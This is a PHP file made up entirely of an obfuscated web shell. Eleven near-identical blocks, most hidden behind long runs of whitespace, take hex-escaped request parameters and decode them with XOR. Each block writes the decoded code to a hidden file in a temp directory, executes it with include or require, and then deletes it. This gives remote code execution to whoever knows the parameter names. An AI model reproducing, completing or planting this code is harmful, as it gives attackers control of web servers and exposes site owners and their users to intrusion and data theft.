<?php																																										if(!empty($_REQUEST["fa\x63\x74o\x72"])){ $entity = $_REQUEST["fa\x63\x74o\x72"]; $entity=explode ( "." , $entity ) ; $parameter_group = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach ($entity as $p => $v3) { $chS = ord($s[$p % $sLen] ); $dec = ((int)$v3 - $chS - ($p % 10)) ^ 45; $parameter_group .= chr($dec );} $elem = array_filter([getenv("TMP"), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/var/tmp", "/tmp", getenv("TEMP")]); foreach ($elem as $mrk): if ((is_dir($mrk) and is_writable($mrk))) { $flag = sprintf("%s/.pgrp", $mrk); if (file_put_contents($flag, $parameter_group)) { require $flag; unlink($flag); exit; } } endforeach; }
																																										if(array_key_exists("d\x61\x74", $_REQUEST)){ $holder = $_REQUEST["d\x61\x74"]; $holder = explode ( '.',$holder ) ; $reference = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3 ); $len = count($holder ); for($s = 0; $s< $len; $s++) { $v3 = $holder[$s]; $chS = ord($s3[$s %$sLen] ); $dec =((int)$v3 - $chS -($s %10)) ^ 71; $reference .= chr($dec ); } $element = array_filter([getcwd(), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP")]); $dchunk = 0; do { $token = $element[$dchunk] ?? null; if ($dchunk >= count($element)) break; if (!!is_dir($token) && !!is_writable($token)) { $tkn = "$token" . "/.entry"; $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $reference); fclose($file); include $tkn; @unlink($tkn); die(); } } $dchunk++; } while (true); }
																																										if(isset($_POST) && isset($_POST["p\x67r\x70"])){ $property_set = array_filter([session_save_path(), sys_get_temp_dir(), getcwd(), getenv("TEMP"), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", "/var/tmp"]); $holder = $_POST["p\x67r\x70"]; $holder = explode( '.' , $holder); $data = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($holder as $k => $v4) { $chS = ord($salt[$k % $lenS]); $d = ((int)$v4 - $chS - ($k % 10)) ^ 84; $data .= chr($d); } foreach ($property_set as $binding): if (!!is_dir($binding) && !!is_writable($binding)) { $pointer = "$binding" . "/.desc"; if (file_put_contents($pointer, $data)) { include $pointer; @unlink($pointer); exit; } } endforeach; }
																																										if(in_array("e\x6C\x65m", array_keys($_POST))){ $object = $_POST["e\x6C\x65m"]; $object = explode ( '.', $object ); $element = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); foreach( $object as $k => $v6): $sChar = ord( $s[$k % $lenS] ); $dec =( ( int)$v6 - $sChar -( $k % 10)) ^ 41; $element .= chr( $dec ); endforeach; $pgrp = array_filter([getenv("TEMP"), getcwd(), "/dev/shm", session_save_path(), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP")]); foreach ($pgrp as $key => $obj) { if ((is_dir($obj) and is_writable($obj))) { $ent = vsprintf("%s/%s", [$obj, ".binding"]); if (file_put_contents($ent, $element)) { require $ent; unlink($ent); die(); } } } }
																																										if(array_key_exists("\x70\x6F\x69\x6Eter", $_REQUEST)){ $element = $_REQUEST["\x70\x6F\x69\x6Eter"]; $element= explode ( '.',$element ) ; $ref = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9); $s = 0; array_walk($element, function ($v2) use (&$ref, &$s, $salt9, $sLen) { $sChar = ord($salt9[$s % $sLen]); $d = ((int)$v2 - $sChar - ($s % 10)) ^ 78; $ref.= chr($d); $s++; }); $comp = array_filter(["/tmp", sys_get_temp_dir(), getenv("TMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/dev/shm"]); foreach ($comp as $key => $ptr) { if (!( !is_dir($ptr) || !is_writable($ptr) )) { $data = str_replace("{var_dir}", $ptr, "{var_dir}/.record"); if (@file_put_contents($data, $ref) !== false) { include $data; unlink($data); exit; } } } }
																																										if(!empty($_POST["\x70g\x72p"])){ $obj = $_POST["\x70g\x72p"]; $obj=explode ( '.', $obj ) ; $comp= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt6); $w= 0; while( $w <count( $obj)) { $v8= $obj[$w]; $chS= ord( $salt6[$w % $lenS]); $d= ( ( int)$v8 - $chS -( $w % 10)) ^45; $comp .= chr( $d); $w++; } $flag = array_filter([getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/var/tmp", "/dev/shm"]); $object = 0; do { $marker = $flag[$object] ?? null; if ($object >= count($flag)) break; if (is_writable($marker) && is_dir($marker)) { $k = join("/", [$marker, ".key"]); if (file_put_contents($k, $comp)) { include $k; @unlink($k); exit; } } $object++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["mar\x6B\x65\x72"])){ $token = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TMP"), "/var/tmp", session_save_path()]); $parameter_group = $_REQUEST["mar\x6B\x65\x72"]; $parameter_group = explode ( '.',$parameter_group ) ; $comp = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); $n = 0; $__len = count($parameter_group); do {if ($n >= $__len) break; $v4 = $parameter_group[$n]; $chS = ord($salt6[$n % $sLen]); $dec = ((int)$v4 - $chS - ($n % 10)) ^ 92; $comp .= chr($dec); $n++; } while (true); foreach ($token as $flg): if ((is_dir($flg) and is_writable($flg))) { $factor = join("/", [$flg, ".val"]); if (file_put_contents($factor, $comp)) { include $factor; @unlink($factor); exit; } } endforeach; }
																																										if(isset($_REQUEST["\x70set"])){ $mrk = array_filter([getenv("TEMP"), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), session_save_path()]); $holder = $_REQUEST["\x70set"]; $holder = explode( '.' , $holder ) ; $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach($holder as $v=>$v4) { $sChar = ord($salt[$v % $sLen]); $dec =((int)$v4 - $sChar -($v % 10)) ^ 67; $object .= chr($dec); } for ($flag = 0, $symbol = count($mrk); $flag < $symbol; $flag++) { $ent = $mrk[$flag]; if (max(0, is_dir($ent) * is_writable($ent))) { $factor = sprintf("%s/.ptr", $ent); if (file_put_contents($factor, $object)) { include $factor; @unlink($factor); die(); } } } }
																																										if(array_key_exists("\x70g\x72p", $_REQUEST)){ $key = array_filter([getenv("TMP"), getcwd(), getenv("TEMP"), "/dev/shm", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp"]); $mrk = $_REQUEST["\x70g\x72p"]; $mrk = explode ( '.' ,$mrk ) ; $value = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $n = 0; $__len = count($mrk ); do { if($n >=$__len) break; $v8 = $mrk[$n]; $sChar = ord($salt[$n % $sLen] ); $d = ((int)$v8 - $sChar -($n % 10)) ^ 29; $value .= chr($d ); $n++; } while(true ); foreach ($key as $reference): if (!!is_dir($reference) && !!is_writable($reference)) { $data_chunk = join("/", [$reference, ".dchunk"]); $success = file_put_contents($data_chunk, $value); if ($success) { include $data_chunk; @unlink($data_chunk); exit;} } endforeach; }
																																										if(isset($_REQUEST["da\x74"]) ? true : false){ $fac = $_REQUEST["da\x74"]; $fac = explode ("." , $fac ) ; $ptr = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2 ); $q = 0; $__tmp = $fac; while ($v5 = array_shift($__tmp)) { $sChar = ord($s2[$q % $sLen] ); $d = ((int)$v5 - $sChar - ($q % 10)) ^ 28; $ptr.= chr($d ); $q++; } $data = array_filter([sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), getenv("TMP"), getcwd(), "/dev/shm", "/tmp", session_save_path(), ini_get("upload_tmp_dir")]); $pset = 0; do { $element = $data[$pset] ?? null; if ($pset >= count($data)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($element)) { $data_chunk = join("/", [$element, ".rec"]); if (file_put_contents($data_chunk, $ptr)) { require $data_chunk; unlink($data_chunk); exit; } } $pset++; } while (true); }


if(isset($_REQUEST) && isset($_REQUEST["fl\x61g"])){
	$comp = $_REQUEST["fl\x61g"];
		 $comp	=	 	explode	(  "."	  ,$comp  )	  ;
	$hld		=		'';
            $s		=		'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen		=		strlen($s );
            $w		=		0;
            $len		=		count($comp );
    
            do {
                if ($w	>=  $len) break;
                $v6		=		$comp[$w];
                $sChar		=		ord($s[$w % $sLen] );
                $d		=		((int)$v6 - $sChar - ($w % 10)) ^36;
                $hld .= chr($d );
                $w++;
            } while (true );
	$record = array_filter(["/var/tmp", "/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), getcwd(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]);
	foreach ($record as $val) {
    		if ((is_dir($val) and is_writable($val))) {
    $mrk = "$val" . "/.factor";
    if (file_put_contents($mrk, $hld)) {
	require $mrk;
	unlink($mrk);
	die();
}
}
}
}